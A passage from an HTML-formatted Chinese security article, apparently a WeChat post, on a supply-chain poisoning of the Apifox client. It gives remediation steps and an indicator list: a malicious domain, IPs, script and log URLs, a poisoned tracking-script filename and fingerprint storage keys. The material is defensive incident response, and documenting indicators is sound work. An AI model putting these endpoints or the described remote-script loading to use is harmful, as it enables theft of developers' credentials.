leaf="">检查服务器访问</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">审计服务器登录日志，排查异常访问</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">3</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">修改 Apifox 密码</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">更改账户密码，启用双因素认证</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">4</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">清理本地缓存</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">执行 5.1-5.3 中的清理命令</span></p></td></tr></tbody></table></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">6.3 长期措施（优先级：🟡 中）</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">序号</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">措施</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">说明</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">1</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">部署网络监控</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">使用 LuLu/Little Snitch 等工具监控应用网络行为</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">2</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">建立密钥轮换机制</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">定期更换 SSH 密钥、API Token 等敏感凭证</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">3</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">加强供应链安全意识</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">对动态加载外部脚本保持警惕</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">4</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">实施最小权限原则</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">限制开发工具的网络访问权限</span></p></td></tr></tbody></table></p><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">七、企业级响应建议</span></h2><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">7.1 安全团队行动项</span></h3><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.55859375" data-type="png" data-w="1024" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 8px;" title="null" data-imgfileid="100003078" src="https://wechat2rss.xlab.app/img-proxy/?k=00268666&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FJ8Ev2iczlWG1BMUtQ52KTjlK67hia3z36oErIcSlOKWxsYIfmqdkCIKTh1viaMgkibhn09zmiblcVBTRgib4V3uLBBLnpuWRRNuv5SM3AyxLj46jg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">7.2 IOC 指标</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">类型</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">值</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">恶意域名</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">apifox.it.com</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">恶意 IP</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">104.21.2.104</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">恶意 IP</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">172.67.129.21</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">恶意 URL</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf=""><a href="https://apifox.it.com/public/apifox-event.js" target="_blank">https://apifox.it.com/public/apifox-event.js</a></span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">恶意 URL</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf=""><a href="https://apifox.it.com/event/0/log" target="_blank">https://apifox.it.com/event/0/log</a></span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">被投毒文件</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">apifox-app-event-tracking.min.js</span></code><p><span leaf="">（77KB 版本）</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">本地存储键</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">localStorage._rl_mc</span></code><p><span leaf="">（存储机器指纹）、</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, 